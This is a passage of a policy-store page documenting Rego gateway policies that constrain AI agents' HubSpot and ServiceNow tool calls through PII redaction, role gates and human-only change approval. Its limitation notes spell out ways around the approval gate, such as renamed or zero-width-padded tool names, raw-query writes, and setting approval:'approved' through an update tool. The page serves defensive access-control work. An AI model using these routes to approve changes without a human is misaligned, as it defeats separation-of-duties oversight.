`555-666-7777`, `(555) 666.7777`, `+1-555-666-7777`) - Raw 10-digit phone numbers (`\b\d{10}\b`, bounded so it won't match inside longer HubSpot IDs) - Email addresses - US SSNs (`XXX-XX-XXXX`) Matches are replaced with `[REDACTED]`. ## Examples ### Redacted (HubSpot tool response) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "hubspot-list-objects", "type": "tool" } } } ``` `allow = true`, with a `transform` supplying the redaction patterns, field names, and `replacement = "[REDACTED]"` for the gateway to apply to the response body, plus `reason = "PII redacted from HubSpot response"` so the redaction is explained in the dashboard. ### Passed through (non-HubSpot tool, or not output path) A response from a non-`hubspot-` tool, or any request not on the output path, returns `allow = true` with no `transform` — unchanged. ## Known limitations - **Regex over text.** Detection is pattern-based, so novel formats and non-standard shapes may be missed, and benign strings that look like a phone or email may be over-redacted. Treat this as a high-signal layer, not a complete DLP solution. - **Prefix-scoped.** Scoping is `startswith("hubspot-")`. A HubSpot MCP server registered under a different prefix won't be covered until the check is adjusted. - **No identity-based exemptions.** All callers get the same redaction. Add an `input.subject.claims`-gated branch if a break-glass role needs raw values. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package hubspot.egress.redact_pii # Transform-only policy — never blocks, only redacts sensitive fields from HubSpot responses default allow := true transform := { "redact_patterns": [ # Formatted phone numbers — requires at least one separator between digit groups # Matches: 555-666-7777, (555) 666.7777, +1-555-666-7777 # Does NOT match raw digit strings like 5556667777 (handled below) "\\+?1?[\\s.\\-]?\\(?\\d{3}\\)?[\\s.\\-]\\d{3}[\\s.\\-]\\d{4}", # Raw 10-digit phone numbers (exactly 10 consecutive digits) # \b ensures it won't match inside longer numbers like 12-digit HubSpot IDs "\\b\\d{10}\\b", # Email addresses "[\\w.+\\-]+@[\\w.\\-]+\\.[a-zA-Z]{2,}", # SSNs (XXX-XX-XXXX) "\\b\\d{3}-\\d{2}-\\d{4}\\b" ], "redact_fields": ["phone", "mobilephone", "fax", "email", "hs_email_domain"], "replacement": "[REDACTED]" } if { input.mode == "output" startswith(lower(input.resource.name), "hubspot-") } # Surfaced on the decision event whenever the redaction is in scope, so the # dashboard can explain the rewrite. reason := "PII redacted from HubSpot response" if { input.mode == "output" startswith(lower(input.resource.name), "hubspot-") } ``` ### HubSpot Role-Gate Schema and Consent URL: https://www.intentbasedpolicy.com/policies/hubspot/role-gate-schema-consent App(s): hubspot | Direction: ingress | Bundles: crm, soc2 | Package: hubspot.ingress.role_gate_schema_consent | Published: 2026-07-12 | Tags: hubspot, role-gate-schema-consent, access-control, least-privilege, segregation-of-duties, consent, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/hubspot/role-gate-schema-consent/policy.md # hubspot / role-gate-schema-consent **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `hubspot.ingress.role_gate_schema_consent` ## What it does Sits one privilege tier above [`hubspot/role-gate-writes`](../role-gate-writes/policy.md): ordinary `crm-writers` can create and edit CRM records, but two higher-blast-radius write classes are reserved for a dedicated admin group. Callers whose JWT `groups` claim contains `hubspot-admins` may invoke them; everyone else — including `crm-writers` — is denied. This preserves segregation of duties inside the write path. All other tools (reads and ordinary record writes) pass through untouched. The two gated classes are: - **Portal-schema mutations** — property-definition tools that alter the portal for *every* user: the `@hubspot/mcp-server` local beta's `hubspot-create-property` and `hubspot-update-property`, plus shinzo's per-domain `*_create_property` and `*_update_property` stems (`crm_create_property`, `crm_update_property`, `contacts_create_property`, …). - **Marketing-consent mutations** — the shinzo consent-state tools `communications_update_subscription_status`, `communications_update_preferences`, and `communications_subscribe_contact`, whose arguments carry a contact email/id plus a subscription id and directly mutate GDPR/CAN-SPAM consent records. The group check is **fail-closed** via `object.get` chains: if the caller has no `subject`, no `claims`, no `groups` claim, or a `groups` claim that is not a list of strings, the gated tools are denied. A missing claim never grants access. The irreversible unsubscribe (`communications_unsubscribe_contact`) is a **hard deny** handled by [`hubspot/freeze-destructive-ops`](../freeze-destructive-ops/policy.md), not here — this policy gates the remaining *reversible* consent mutations. ## Compliance alignment - **SOC 2 CC6.3** — role-based access, least privilege, and segregation of duties: schema and consent changes require an explicit `hubspot-admins` membership that sits above the ordinary `crm-writers` write role, so the caller who edits records is not the same role that can redefine the schema or flip consent. - **GDPR Art. 5(1)(b)** — purpose limitation: subscription/preference changes are consent-affecting processing, kept under an admin role rather than available to any agent write path. - **GDPR Art. 25; Art. 29** — data protection by default and processing only on the controller's authorization: consent-affecting and portal-schema mutations default to deny on the agent channel and are permitted only for an explicitly authorized group. ## Why ingress Property-definition and consent changes are writes with portal-wide, hard-to-reverse side effects — a new/edited property definition changes the schema for every HubSpot user, and a subscription-status or preference change mutates a compliance-relevant consent record. Denying at ingress means an unauthorized mutation never reaches HubSpot. ## Tool name matching The policy keys on the **tool name only**, matched case-insensitively by suffix against the lowercased `input.resource.name`. The DTwo gateway prefixes tool names with the configured server name (e.g. `hubspot-mcp-crm_create_property`), so suffix matching stays portable: - **Schema suffixes:** `hubspot-create-property`, `hubspot-update-property` (local beta), and `_create_property` / `_update_property` (the shinzo `*_create_property` / `*_update_property` wildcards). The `_update_property` suffix is a defensive addition — the landscape note verifies only `*_create_property` for shinzo (see Known limitations). - **Consent suffixes:** `communications_update_subscription_status`, `communications_update_preferences`, `communications_subscribe_contact` (the verified shinzo underscore forms), plus their kebab-case renderings for portability. The suffixes are specific enough that shinzo's read tool `communications_get_subscription_status` and the unsubscribe tool `communications_unsubscribe_contact` do **not** match. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production, and extend `schema_suffixes` / `consent_suffixes` if your server exposes additional schema or consent tools. ## Argument shape None assumed. The decision is made purely on the tool name; `input.payload.args` is never inspected, so the policy fails closed on the name alone even when `args` is empty or missing. The consent-tool argument shapes (contact email/id + subscription id) come from a community server and are **not** verified against a live `tools/list` — see Known limitations. The identity check reads `input.subject.claims.groups` via `object.get` chains and expects an array of strings (the common IdP shape). Group comparison is exact and case-sensitive. ## Examples ### Allowed (ordinary record write by a crm-writer — SoD preserved) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-remote-manage_crm_objects", "type": "tool" }, "subject": { "sub": "auth0|writer", "claims": { "groups": ["crm-writers"] } }, "payload": { "name": "hubspot-remote-manage_crm_objects", "args": { "objectType": "contacts" } } } } ``` `allow = true`, no reason. Record writes are gated by `role-gate-writes`, not here. ### Allowed (schema mutation by an admin) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-create-property", "type": "tool" }, "subject": { "sub": "auth0|admin", "claims": { "groups": ["hubspot-admins"] } }, "payload": { "name": "hubspot-create-property", "args": { "name": "custom_field" } } } } ``` `allow = true`, no reason. ### Denied (consent mutation by a crm-writer, not an admin) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-shinzo-communications_update_subscription_status", "type": "tool" }, "subject": { "sub": "auth0|writer", "claims": { "groups": ["crm-writers"] } }, "payload": { "name": "hubspot-shinzo-communications_update_subscription_status", "args": { "contactEmail": "jane@example.com", "subscriptionId": "77" } } } } ``` `allow = false`, `reason = "HubSpot marketing subscription and consent preferences are admin-owned because they carry GDPR/CAN-SPAM obligations. …"`. ## Composition Layer this on top of the CRM write path: - [`hubspot/role-gate-writes`](../role-gate-writes/policy.md) — the tier below: gates ordinary record creates/updates for `crm-writers`. This policy adds the schema/consent tier for `hubspot-admins` on top; attach both. - [`hubspot/freeze-destructive-ops`](../freeze-destructive-ops/policy.md) — hard-denies archive-class tools and the irreversible `communications_unsubscribe_contact`. That policy owns the unsubscribe; this one owns the reversible consent mutations. - [`hubspot/redact-pii`](../redact-pii/policy.md) — egress masking of contact PII. See the [`bundles/crm`](../../../bundles/crm/README.md) bundle for the curated set. ## Known limitations - **Group name is a placeholder.** Replace `hubspot-admins` (the `admin_group` constant in the Rego) with your IdP's real group name at import time. Group comparison is exact and case-sensitive. - **Groups claim must be an array of strings.** If your IdP emits `groups` as a single string or a namespaced custom claim (e.g. `https://acme.com/groups`), adjust `caller_groups` — until then, the gated tools are denied for every caller (fail-closed). - **Consent-tool argument shapes are unverified.** The consent tools come from the `@shinzolabs/hubspot-mcp` community server; their argument shapes (contact email/id + subscription id) are documented in the landscape note but **not** verified against a live `tools/list`. This policy does not depend on them — it decides on the tool name alone — but confirm the names with the dump-input technique before deploying. - **`_update_property` is unverified for shinzo.** The landscape note lists only `*_create_property` in the shinzo write inventory; a `crm_update_property` / `contacts_update_property` tool is not confirmed to exist there. The `_update_property` suffix is included defensively (the local beta proves property *update* is a real schema-mutation class, and shinzo's naming convention makes `*_update_property` the natural rendering). If your shinzo build never exposes such a tool the suffix is simply inert; confirm names with the dump-input technique before relying on it. - **Gated list is a blocklist.** New schema or consent tools added by a server upgrade are allowed (subject only to `role-gate-writes`) until added to `schema_suffixes` / `consent_suffixes`. - **Suffix over-match.** A generic ending like `_create_property` could match a non-HubSpot tool with the same suffix on a shared pipeline. Scope the pipeline to the HubSpot server, or narrow the suffixes, if that is a concern. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package hubspot.ingress.role_gate_schema_consent # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Placeholder IdP group allowed to change portal schema and consent state. # This sits one tier above the crm-writers write role. Replace with your # IdP's real group name at import time. admin_group := "hubspot-admins" # Lowercased tool name, fetched with object.get so a missing resource/name # yields "" (a clean non-match) instead of a silent rule failure. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # --- Portal-schema tools --- # Property definitions alter the portal schema for every user. Covers the # @hubspot/mcp-server local beta (hubspot-create-property / -update-property) # and shinzo's per-domain *_create_property stems (crm_create_property, # contacts_create_property, ...). Suffix match stays portable across the # gateway's configured server-name prefix. schema_suffixes := [ "hubspot-create-property", "hubspot-update-property", "_create_property", # Editing an existing property definition is a portal-schema mutation too # (arguably higher-impact than creating one). The local beta exposes both # create and update; shinzo's {domain}_{operation}_{resource} convention # renders the update form as *_update_property. The landscape note verifies # only *_create_property for shinzo, so this suffix is a defensive/portable # addition — see Known limitations. "_update_property", ] is_schema_tool if { some suffix in schema_suffixes endswith(tool_name, suffix) } # --- Marketing-consent tools --- # shinzo communications_* tools that mutate subscription/consent records # (GDPR/CAN-SPAM). The irreversible unsubscribe is a hard deny owned by # freeze-destructive-ops; this policy gates the remaining reversible consent # mutations. Underscore forms are the verified shinzo naming; kebab variants # are included for portability. The suffixes are specific enough that the read # tool communications_get_subscription_status and communications_unsubscribe_contact # do not match. consent_suffixes := [ "communications_update_subscription_status", "communications_update_preferences", "communications_subscribe_contact", "communications-update-subscription-status", "communications-update-preferences", "communications-subscribe-contact", ] is_consent_tool if { some suffix in consent_suffixes endswith(tool_name, suffix) } is_gated_tool if is_schema_tool is_gated_tool if is_consent_tool # Fail-closed groups lookup: missing subject, missing claims, or a missing # groups claim all resolve to [] and grant nothing. caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) # Exact, case-sensitive group match. If caller_groups is not iterable # (e.g. the IdP emitted a string), this rule never fires — fail closed. caller_is_admin if { some group in caller_groups group == admin_group } # Everything that is not a gated schema/consent tool passes for every caller — # ordinary crm-writers keep their record-editing access (role-gate-writes). allow if { not is_gated_tool } # Gated tools pass only for members of the admin group. allow if { is_gated_tool caller_is_admin } reasons contains "HubSpot property definitions are admin-owned: creating or editing them changes the portal schema for every user. Editing property definitions through the agent channel is limited to members of the 'hubspot-admins' group. Manage properties in HubSpot Settings > Properties, or ask an administrator to add you to that group if you believe this is a false positive." if { is_schema_tool not caller_is_admin } reasons contains "HubSpot marketing subscription and consent preferences are admin-owned because they carry GDPR/CAN-SPAM obligations. Changing them through the agent channel is limited to members of the 'hubspot-admins' group. Manage subscription types in HubSpot Settings > Marketing > Email > Subscription Types, or ask an administrator to add you to that group if you believe this is a false positive." if { is_consent_tool not caller_is_admin } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### HubSpot Role-Gate Writes URL: https://www.intentbasedpolicy.com/policies/hubspot/role-gate-writes App(s): hubspot | Direction: ingress | Bundles: crm, soc2, gdpr-ccpa | Package: hubspot.ingress.role_gate_writes | Published: 2026-07-12 | Tags: hubspot, role-gate-writes, access-control, least-privilege, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/hubspot/role-gate-writes/policy.md # hubspot / role-gate-writes **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `hubspot.ingress.role_gate_writes` ## What it does Gates every HubSpot write tool behind an IdP group: callers whose JWT `groups` claim contains `crm-writers` may create and update CRM records; everyone else gets a read-only HubSpot posture through the agent channel. All read tools (search, list, get, batch-read) pass for every caller. The group check is **fail-closed**: if the caller has no `subject.claims`, no `groups` claim, or a `groups` claim that is not a list of strings, write tools are denied. A missing claim never grants write access. ## Compliance alignment - **SOC 2 CC6.1; CC6.3** — logical access security and role-based least privilege: CRM mutations through the agent channel require an explicit IdP group membership; the default posture is read-only. - **HIPAA §164.308(a)(4); §164.312(a)(1)** — information access management and access control on the MCP path, for portals whose contact records carry health-related data: writes are authorized per caller identity. - **PCI DSS 7.2.1; 7.2.2** — least-privilege access model: agent-channel users are assigned the minimum access (read) unless their role requires write. - **GDPR Art. 25; Art. 29** — data protection by default on the agent channel, and processing of personal data only by persons acting under the controller's authorization. ## Why ingress Writes have permanent side effects — a wrong lifecycle-stage or deal-stage change can fire HubSpot workflow automation (real emails to customers), and HubSpot skips custom validation rules on agent-created records. Denying at ingress means an unauthorized write never reaches HubSpot. ## Tool name matching The policy keys on the **tool name only**, matched case-insensitively by suffix against the write vocabulary of all three verified HubSpot MCP name families (the DTwo gateway prefixes tool names with the configured server name, so suffix matching stays portable): - **Remote server / Claude connector** (snake_case): `manage_crm_objects` (the single create/update tool for records and activities) and `submit_feedback`. Kebab-case variants (`-manage-crm-objects`, `-submit-feedback`) are also matched, since earlier deployments observed the kebab form. - **`@hubspot/mcp-server` local beta** (kebab-case, 7 write tools): `hubspot-batch-create-objects`, `hubspot-batch-update-objects`, `hubspot-batch-create-associations`, `hubspot-create-engagement`, `hubspot-update-engagement`, `hubspot-create-property`, `hubspot-update-property`. - **shinzo-labs community server** (`{domain}_{operation}`): `crm_create_object`, `crm_update_object`, `crm_batch_create_objects`, `crm_batch_update_objects`, per-type contact/company/lead create/update/batch variants, `crm_create_association`, `calls_/emails_/meetings_/notes_/tasks_` create/update/batch writes, `products_create/update/batch_*`, `*_create_property` (wildcard suffix), `communications_update_preferences`, `communications_update_subscription_status`, `communications_subscribe_contact`. Anything not on the write list — including every read tool of all four known server families — is allowed for all callers. Verify the exact tool names your gateway sends with the dump-input debug technique before relying on this in production, and extend `write_suffixes` if your server exposes additional mutating tools. ## Argument shape None assumed. The remote server's `manage_crm_objects` argument shape is only partially published by HubSpot, so this policy deliberately decides on the tool name alone and never inspects `input.payload.args`. The identity check reads `input.subject.claims.groups` via `object.get` chains and expects an array of strings (the common IdP shape for a groups claim). Group comparison is exact (case-sensitive). ## Examples ### Allowed (read tool, any caller) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-remote-search_crm_objects", "type": "tool" }, "subject": { "sub": "auth0|reader", "claims": { "groups": ["support"] } }, "payload": { "name": "hubspot-remote-search_crm_objects", "args": { "objectType": "contacts" } } } } ``` `allow = true`, no reason. ### Allowed (write tool, group member) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-remote-manage_crm_objects", "type": "tool" }, "subject": { "sub": "auth0|writer", "claims": { "groups": ["crm-writers"] } }, "payload": { "name": "hubspot-remote-manage_crm_objects", "args": { "objectType": "contacts" } } } } ``` `allow = true`, no reason. ### Denied (write tool, non-member) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-remote-manage_crm_objects", "type": "tool" }, "subject": { "sub": "auth0|reader", "claims": { "groups": ["support"] } }, "payload": { "name": "hubspot-remote-manage_crm_objects", "args": { "objectType": "contacts" } } } } ``` `allow = false`, `reason = "HubSpot write tools are limited to members of the 'crm-writers' group — your HubSpot access through the agent channel is read-only. If you believe this is a false positive, ask your administrator to add you to the writers group."`. ## Composition This policy is the group-conditional successor to the all-or-nothing [`hubspot/read-only`](../read-only/policy.md) policy: attach **one or the other**, not both (read-only would deny writes even for `crm-writers` members). It also widens tool coverage beyond read-only's single `-manage-crm-objects` match to all three verified name families. Useful companions: - [`hubspot/redact-pii`](../redact-pii/policy.md) — egress masking of contact PII on search/read responses. - A destructive-suffix deny (`*_archive`, `unsubscribe_contact`) for the shinzo community server, whose archive tools this policy does not treat as gated writes — they should be blocked outright, not group-gated. - [`hubspot/protect-lifecycle-stage`](../protect-lifecycle-stage/policy.md) and [`hubspot/block-deal-closure`](../block-deal-closure/policy.md) to constrain *what* the writers group can change. See the [`bundles/crm`](../../../bundles/crm/README.md) bundle for the curated set. ## Known limitations - **Group name is a placeholder.** Replace `crm-writers` (the `writers_group` constant in the Rego) with your IdP's real group name at import time. Group comparison is exact and case-sensitive. - **Groups claim must be an array of strings.** If your IdP emits `groups` as a single string or a namespaced custom claim (e.g. `https://acme.com/groups`), adjust `caller_groups` — until then, all writes are denied for every caller (fail-closed). - **Name-only decision.** `manage_crm_objects` handles both creates and updates across every object type; because its detailed argument shape is only partially verified, this policy cannot distinguish create vs update or gate specific object types. Compose with argument-level policies for finer control. - **Suffix over-match.** Generic suffixes like `notes_create` or `tasks_update` could match a non-HubSpot tool with the same ending on a shared pipeline. Scope the pipeline to the HubSpot server, or narrow the suffixes, if that is a concern. - **Write list is a blocklist.** New mutating tools added by a server upgrade are allowed until added to `write_suffixes`. The shinzo destructive tools (`*_archive`, `communications_unsubscribe_contact`) are intentionally not listed — block them with a dedicated deny policy. - **baryhuang community server not covered.** Its `hubspot_create_contact` / `hubspot_create_company` writes are not in the verified suffix list; add them if you run that server. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package hubspot.ingress.role_gate_writes # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Placeholder IdP group allowed to call HubSpot write tools. # Replace with your IdP's real group name at import time. writers_group := "crm-writers" # Write-tool suffixes across the three verified HubSpot MCP name families. # The gateway prefixes tool names with the configured server name, so we # match case-insensitively by suffix to stay portable. Verify exact names # with the dump-input debug technique before deploying. write_suffixes := [ # --- Remote server / Claude connector (snake_case; kebab variants kept # for deployments that observed kebab-case naming) --- "manage_crm_objects", "manage-crm-objects", "submit_feedback", "submit-feedback", # --- @hubspot/mcp-server local beta (kebab-case, 7 write tools) --- "hubspot-batch-create-objects", "hubspot-batch-update-objects", "hubspot-batch-create-associations", "hubspot-create-engagement", "hubspot-update-engagement", "hubspot-create-property", "hubspot-update-property", # --- shinzo-labs community server ({domain}_{operation}) --- "crm_create_object", "crm_update_object", "crm_batch_create_objects", "crm_batch_update_objects", "crm_create_contact", "crm_update_contact", "crm_batch_create_contacts", "crm_batch_update_contacts", "crm_create_company", "crm_update_company", "crm_batch_create_companies", "crm_batch_update_companies", "crm_create_lead", "crm_update_lead", "crm_batch_create_leads", "crm_batch_update_leads", "crm_create_association", "calls_create", "calls_update", "calls_batch_create", "calls_batch_update", "emails_create", "emails_update", "emails_batch_create", "emails_batch_update", "meetings_create", "meetings_update", "meetings_batch_create", "meetings_batch_update", "notes_create", "notes_update", "notes_batch_create", "notes_batch_update", "tasks_create", "tasks_update", "tasks_batch_create", "tasks_batch_update", "products_create", "products_update", "products_batch_create", "products_batch_update", # shinzo per-domain property creation (*_create_property wildcard) "_create_property", # consent-state mutations (GDPR/CAN-SPAM relevant) "communications_update_preferences", "communications_update_subscription_status", "communications_subscribe_contact", ] is_hubspot_write_tool if { name := lower(input.resource.name) some suffix in write_suffixes endswith(name, suffix) } # Fail-closed groups lookup: missing subject, missing claims, or a missing # groups claim all resolve to [] and grant nothing. caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) # Exact, case-sensitive group match. If caller_groups is not iterable # (e.g. the IdP emitted a string), this rule never fires — fail closed. caller_is_writer if { some group in caller_groups group == writers_group } # Read tools (anything not on the write list) pass for every caller. allow if { not is_hubspot_write_tool } # Write tools pass only for members of the writers group. allow if { is_hubspot_write_tool caller_is_writer } reason := "HubSpot write tools are limited to members of the 'crm-writers' group — your HubSpot access through the agent channel is read-only. If you believe this is a false positive, ask your administrator to add you to the writers group." if not allow ``` ### Human-Only ServiceNow Change Approval URL: https://www.intentbasedpolicy.com/policies/servicenow/require-human-approval-changes App(s): servicenow | Direction: ingress | Bundles: soc2 | Package: servicenow.ingress.require_human_approval_changes | Published: 2026-07-12 | Tags: servicenow, require-human-approval, change-management, separation-of-duties, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/servicenow/require-human-approval-changes/policy.md # servicenow / require-human-approval-changes **Direction:** ingress (`tool_pre_invoke`) **Default:** deny the three change-approval control-gate tools; allow everything else **Package:** `servicenow.ingress.require_human_approval_changes` ## What it does Unconditionally denies the ServiceNow change-management **control-gate** tools — the ones whose names end in `approve_change`, `reject_change`, or `submit_change_for_approval` (verified echelon-ai-labs names) — on the agent path. There is **no identity-group exemption**: change approval is a separation-of-duties gate, so the consummating decision must not be agent-actuated even for privileged users. Every other tool passes through unchanged, so this policy composes cleanly with a role-gate-writes policy and the rest of the ServiceNow bundle. In particular, agents may still **draft and update** change requests — `create_change_request`, `update_change_request`, and `add_change_task` are untouched here (they are gated, if at all, by the write policy). This policy removes only the *consummation* step: the moment a change is approved, rejected, or submitted for approval. The deny reason directs the user to open the change request record in the ServiceNow UI and approve or reject it there, so the human approver's identity is preserved on the change record's audit trail rather than being replaced by the agent's service account. ## Compliance alignment - **SOC 2 CC8.1** — supports change management: the approval step that gates a change from proposed to authorized stays a human control on the agent path. - **SOC 2 CC6.3** — supports role-based access with separation of duties: the actor that drafts a change cannot also be the actor that approves it over MCP. - **SOX SoD (COSO Principle 10)** — supports the initiate-vs-approve separation for changes to financially relevant systems: an agent may initiate/draft, but a human must approve. - **SOX 13a-15(f)(2)(ii)** — supports transaction/change authorization by keeping the authorization action off the automated actor. - **SOX / PCAOB AI human-in-the-loop** — supports a draft-only agent posture for change consummation, consistent with human-oversight expectations for AI in ITGC change control. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name as `-` (e.g. `servicenow-mcp-approve_change`), and that prefix is not standardized across deployments. The policy therefore matches case-insensitively on `lower(input.resource.name)` by **suffix** (`endswith`), against three verified echelon-ai-labs names: - `*approve_change` - `*reject_change` - `*submit_change_for_approval` Suffix matching is deliberately broad for a control gate: a tool named `bulk_approve_change` or `auto_approve_change` is *also* a change-approval action and is denied, which is the intended fail-safe direction. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. This policy matches the echelon-ai-labs / michaelbuckner `verb_noun` vocabulary. Servers that rename these actions (e.g. `noun_verb` `change_approve`, or the official MCP Server Console's instance-defined subflow names) will not match by suffix — pair this policy with `servicenow/default-deny-unknown-tools` so unrecognized approval tools are denied by the allowlist instead of slipping past this deny. ## Argument shape This policy inspects only the tool **name** (`input.resource.name`). It reads no arguments, so it is insensitive to argument-shape differences between servers and cannot be bypassed by renaming or nesting an argument key. A missing `resource` or `resource.name` resolves to `""` via `object.get`; `""` is not one of the gated tools, so the call passes through to the other policies in the pipeline (this is a targeted deny, not a fail-closed allowlist — see Known limitations). ## Examples ### Allowed — drafting a change request ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "servicenow-mcp-create_change_request", "type": "tool" }, "payload": { "name": "servicenow-mcp-create_change_request", "args": { "short_description": "Patch web tier to 1.24.3" } } } } ``` `allow = true`, no reason. ### Denied — approving a change ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "servicenow-mcp-approve_change", "type": "tool" }, "payload": { "name": "servicenow-mcp-approve_change", "args": { "change_id": "CHG0031337" } } } } ``` `allow = false`, `reason = "ServiceNow change approval is a separation-of-duties control gate ..."`. ## Composition This policy is single-purpose — it removes only the change-approval consummation step. Pair it with: - **`servicenow/role-gate-writes`** (PF-12) — the least-privilege baseline that decides which callers may draft/update change requests at all. This policy sits alongside it and takes precedence for the three approval tools regardless of role. - **`servicenow/default-deny-unknown-tools`** (PF-28) — the allowlist gate that catches renamed or instance-defined approval tools this suffix match cannot anticipate (plural/trailing-token variants like `approve_changes`, `approve_change_record`, and the official server's subflows). - **`servicenow/deny-escape-hatches`** (PF-22) — denies raw-API / generic-query and free-text-write tools (michaelbuckner's `perform_query`, `natural_language_update`, `get_record`/`search_records` against the approval tables). Those tools can consummate an approval by writing to the `sysapproval_approver` table *without* invoking a named `*approve_change` tool, so this deny cannot see them — PF-22 is what closes that route. - A **force-internal-comments transform** on `add_comment`, and an **egress PII redaction** policy on list/get responses, for the rest of the ServiceNow surface. ## Known limitations - **Targeted deny, not a fail-closed allowlist.** By design this policy denies only the three named control-gate tools and passes everything else — including an empty/missing tool name — through to the rest of the pipeline. Failing closed on unknown or unaudited tool names is the job of `servicenow/default-deny-unknown-tools`; deploy both. - **Name-based only; matches the echelon vocabulary.** The policy audits tool *names*, not behavior. Servers that use a different naming convention (`change_approve`, `noun_verb`) or the official MCP Server Console's instance-defined subflow names will not match by suffix. A Flow Designer subflow published under an innocuous name that internally approves a change would not be caught here — rely on the allowlist policy to gate it. - **Suffix breadth (prefix side only).** `endswith` matching also denies any tool whose name *ends* with one of the three suffixes (e.g. `bulk_approve_change`, `auto_approve_change`). For a separation-of-duties gate this over-inclusion is intentional; if a legitimate tool is caught, escalate to your gateway admin to pin an exact-name exception. - **Trailing-token variants slip past.** The flip side of suffix matching: a name with any token *after* the verb — a plural (`approve_changes`), a version (`approve_change_v2`), or a noun (`approve_change_record`) — does **not** end with the exact suffix and is therefore **allowed**. A leading whitespace/tab/ newline is normalized away (`trim_space`), but an interior or trailing token is not. This is the same residual as any renamed action: rely on `servicenow/default-deny-unknown-tools` to fail these closed by allowlist. - **Generic-write / escape-hatch tools are invisible here.** This policy fires only on the three named approval verbs. It cannot see an approval consummated through a raw-query or free-text-write tool — michaelbuckner's `perform_query` / `natural_language_update`, a direct write to the `sysapproval_approver` table, or a Flow Designer subflow published under an innocuous name on the official server. Those pass through as `allow`. Pair with `servicenow/deny-escape-hatches` (PF-22) and `default-deny-unknown-tools` (PF-28) to close them. - **State-field consummation via allowed update tools.** This policy *deliberately* passes `create_change_request`, `update_change_request`, and `update_incident` through so agents can draft. But echelon's `update_*` tools accept a `state` field (and, on some instances, an `approval` field), and in ServiceNow the change lifecycle is driven by those fields. A caller can therefore advance or record an approval — e.g. `update_change_request(change_id, state: "-1"/"scheduled", approval: "approved")` — **without invoking any `*approve_change` verb**, so this name-only deny never sees it. This is the same residual as the raw-query route above, but through a mundane named tool this policy green-lights: do **not** read the "agents may still draft and update" note as "state transitions are safe." Gate the `state`/`approval` fields on `update_change_request` / `update_incident` with `servicenow/role-gate-writes` (PF-12) or a field-level ingress transform; this SoD gate covers only the three explicit approval verbs. - **`trim_space` normalizes only standard whitespace.** The trailing-whitespace fix uses `trim_space`, which strips space/tab/newline/CR and Unicode whitespace incl. NBSP (U+00A0) — but **not** zero-width or format characters (U+200B zero-width space, U+FEFF BOM, U+2060 word joiner). A tool name ending in one of those (`…approve_change​`) does not `endswith` the bare suffix and is therefore **allowed**. This is the same renamed-tool residual documented above and is intentionally not chased in the Rego (any strip list can itself be evaded); `servicenow/default-deny-unknown-tools` (PF-28) is the backstop. - **No identity-based exemptions — by design.** There is no break-glass group. Change approval over MCP is blocked for everyone, including privileged users; approvals happen in the ServiceNow UI where the human approver is recorded. - **Identity note.** This policy reads no identity claims, so there are no placeholder group names to replace at import time. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package servicenow.ingress.require_human_approval_changes # Deny-by-default: the change-management control-gate tools below are never # allowed on the agent path. Every other tool passes through (allow), so this # policy composes with role-gate-writes and the rest of the ServiceNow bundle. default allow := false # Change-management control-gate tool suffixes (verified echelon-ai-labs names). # Each consummates an approval decision. Change approval is a separation-of-duties # gate, so these are denied unconditionally — no identity exemption. Matched # case-insensitively by suffix for portability across the gateway's # `-` prefixing. control_gate_suffixes := [ "approve_change", "reject_change", "submit_change_for_approval", ] # Tool name, lowercased and whitespace-trimmed; missing resource/name resolves # to "" (matches nothing, so a nameless call is not one of the gated tools and # passes through). trim_space closes a suffix-match evasion: a name carrying a # trailing space/tab/newline (e.g. "…approve_change\n") would otherwise fail the # endswith check and be allowed — a fail-open on a control gate. tool_name := trim_space(lower(object.get(object.get(input, "resource", {}), "name", ""))) # True when the call targets one of the change-approval control-gate tools. is_control_gate_tool if { some suffix in control_gate_suffixes endswith(tool_name, suffix) } # Allow anything that is not a change-approval control-gate tool. The three # gated tools have no allow branch and no identity exemption, so they are # always denied. allow if { not is_control_gate_tool } reasons contains "ServiceNow change approval is a separation-of-duties control gate and must not be actuated by an agent. Open the change request record in the ServiceNow UI and approve or reject it there, so the audit trail records a human approver. Agents may still draft and update change requests. If you believe this step should be automated, raise it with your change-management or GRC team instead of routing it through the agent." if { is_control_gate_tool } reason := joined if { count(reasons) > 0 